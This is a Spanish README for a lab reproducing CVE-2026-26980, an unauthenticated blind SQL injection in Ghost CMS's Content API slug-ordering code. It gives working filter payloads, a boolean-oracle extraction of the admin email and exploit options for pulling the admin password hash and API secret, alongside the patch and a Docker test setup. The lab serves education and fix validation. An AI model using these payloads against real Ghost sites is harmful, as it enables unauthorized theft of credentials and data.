
CVE-2026-26980 — Laboratorio de inyección SQL en la API de contenido de Ghost CMS (SQLi ciega no autenticada mediante el ordenamiento del filtro slug)
Inyección SQL ciega no autenticada en Ghost CMS a través del mecanismo de ordenación del filtro de slug de la Content API, que permite lecturas arbitrarias de la base de datos desde cualquier instancia de Ghost sin credenciales.
| CVE | CVE-2026-26980 |
| Advisory | GHSA-w52v-v783-gw97 |
| CVSS | 9.4 (Crítico) |
| CWE | CWE-89 (Inyección SQL) |
| Afectado | Ghost 3.24.0 -- 6.19.0 |
| Corregido | Ghost 6.19.1 |
| Autenticación requerida | Ninguna (la clave de la Content API es pública por diseño) |
| Crédito/Referencias | Nicholas Carlini usando Claude, Anthropic [https://www.youtube.com/watch?v=1sd26pWhfmg] |
Aviso legal -- Este laboratorio es solo para pruebas de seguridad autorizadas, educación e investigación defensiva. No lo utilices contra sistemas que no poseas o para los que no tengas permiso explícito de prueba.
La Content API de Ghost admite el filtrado de etiquetas y publicaciones por slug mediante notación de arrays: filter=slug:[tag-a,tag-b]. Internamente, una función auxiliar construye una sentencia ORDER BY CASE para preservar el orden de slug solicitado. Antes de la v6.19.1, los valores de slug proporcionados por el usuario se interpolaban directamente en este SQL sin parametrización:
// ghost/core/core/server/api/endpoints/utils/serializers/input/utils/slug-filter-order.js (VULNERABLE)
order += `WHEN \`${table}\`.\`slug\` = '${slug}' THEN ${index} `;
La clave de la Content API está incrustada en el HTML de cada sitio Ghost (data-key="..."), lo que convierte esto en una superficie de ataque totalmente no autenticada.
El lenguaje de consultas NQL de Ghost valida la entrada del filtro y rechaza comillas simples o espacios sin procesar. Sin embargo, NQL acepta valores envueltos en comillas simples dentro de la notación de arrays (slug:['value']), pasando las comillas como parte del literal. La expresión regular slugFilterOrder extrae estos valores y los interpola — comillas incluidas — en el SQL:
Filter: slug:['||CASE WHEN 1=1 THEN 0 ELSE EXP(710) END||',news]
^ ^
NQL pasa las comillas como caracteres literales
Después de la interpolación, el ORDER BY se convierte en:
CASE
WHEN `tags`.`slug` = ''||CASE WHEN 1=1 THEN 0 ELSE EXP(710) END||'' THEN 0
WHEN `tags`.`slug` = 'news' THEN 1
END ASC
En el modo SQL predeterminado de MySQL, || es OR y '' es falso. Esto nos da un oráculo booleano limpio:
| Condición | Resultado del CASE | Efecto |
|---|---|---|
| VERDADERO | '' OR 0 OR '' = 0 | Respuesta normal (HTTP 200) |
| FALSO | '' OR EXP(710) OR '' | Error de desbordamiento DOUBLE (HTTP 500) |
Con el oráculo establecido, se aplica la extracción ciega estándar por búsqueda binaria:
slug:['||CASE WHEN ORD(SUBSTR((SELECT email FROM users LIMIT 1) FROM 1 FOR 1)) > 64 THEN 0 ELSE EXP(710) END||',news]
La sintaxis SUBSTR(... FROM pos FOR len) evita las comas (que slugFilterOrder usa como separadores).
| VERDADERO (1=1) → HTTP 200 | FALSO (1=0) → HTTP 500 |
|---|---|
![]() | ![]() |





La corrección reemplaza la interpolación de cadenas por enlaces parametrizados:
// CORREGIDO
caseParts.push(`WHEN \`${table}\`.\`slug\` = ? THEN ?`);
bindings.push(slug.trim(), index);
El plugin crud.js se actualizó para pasar los enlaces a través de orderByRaw, y @tryghost/bookshelf-plugins se actualizó a 0.6.29, que añade soporte de enlaces.
requests# Clona y entra en el laboratorio
git clone <this-repo> && cd ghost-cve-2026-26980
# Instala la dependencia de Python
pip install -r requirements.txt
# Inicia la instancia vulnerable de Ghost (6.18.0 + MySQL 8)
docker compose up -d
# Espera ~45 segundos a que Ghost se inicialice, luego ejecuta el exploit
python3 exploit.py --url http://localhost:2368
# También inicia el Ghost 6.19.1 parcheado en el puerto 2369
docker compose --profile fixed up -d
# Espera ~45 segundos, luego confirma que la corrección bloquea la inyección
python3 exploit.py --url http://localhost:2369 --validate-fix
bash validate.sh
docker compose --profile fixed down -v
usage: exploit.py [-h] [--url URL] [--validate-fix] [--extract-password]
[--extract-api-key] [--content-key KEY] [-v]
options:
--url URL URL de Ghost (predeterminado: http://localhost:2368)
--validate-fix Confirma que el objetivo NO es vulnerable
--extract-password También extrae el hash bcrypt del administrador
--extract-api-key También extrae el secreto de la API del administrador
--content-key KEY Omite la configuración, usa esta clave de Content API directamente
-v, --verbose Muestra los resultados del oráculo por consulta
====================================================
CVE-2026-26980 — Inyección SQL en la Content API de Ghost CMS
====================================================
[*] Esperando a que Ghost en http://localhost:2368 esté listo
[*] Configurando Ghost (admin: [email protected])
[+] Configuración completada — estableciendo sesión
[+] Sesión iniciada
[+] Clave de Content API: ad63c06a71457583ea58f050c1
[+] Slug ancla: news
[*] Fase 1 — verificación ciega booleana
CASE WHEN 1=1: 200 (VERDADERO)
CASE WHEN 1=0: 500 (FALSO)
[+] Oráculo booleano confirmado — VULNERABLE
[*] Fase 2a — extrayendo el email del administrador
Midiendo la longitud del email del administrador... 21 caracteres
Extrayendo: [email protected]
[+] Email: [email protected]
============================================================
RESUMEN DE EXPLOTACIÓN
============================================================
Objetivo: http://localhost:2368
CVE: CVE-2026-26980
Clave de contenido: ad63c06a71457583ea58f050c1
Email del admin: [email protected]
============================================================
Una segunda vulnerabilidad se parcheó en la misma versión. El helper Handlebars {{#get}} de Ghost usaba el paquete jsonpath (que depende de static-eval) para resolver expresiones de ruta. Los temas maliciosos podían crear expresiones que alcanzaran Function() mediante la travesía de prototipos, logrando ejecución de código en el servidor.
| CVE | CVE-2026-29053 |
| Afectado | Ghost 0.7.2 -- 6.19.0 |
| Autenticación | Administrador (subida de temas) |
| Corrección | Se reemplazó jsonpath por una función restringida querySimplePath() que solo admite notación de puntos, [N] y [*] |
Este laboratorio se centra en CVE-2026-26980 porque no requiere autenticación y tiene mayor impacto para atacantes externos.
.
├── README.md # Este archivo
├── docker-compose.yml # Ghost 6.18.0 (vulnerable) + 6.19.1 (corregido) con MySQL 8
├── exploit.py # PoC completo: configuración, verificación, extracción
├── validate.sh # Wrapper de validación de extremo a extremo
└── requirements.txt # Dependencias de Python
Este laboratorio se proporciona con fines educativos y de pruebas de seguridad autorizadas bajo la Licencia MIT.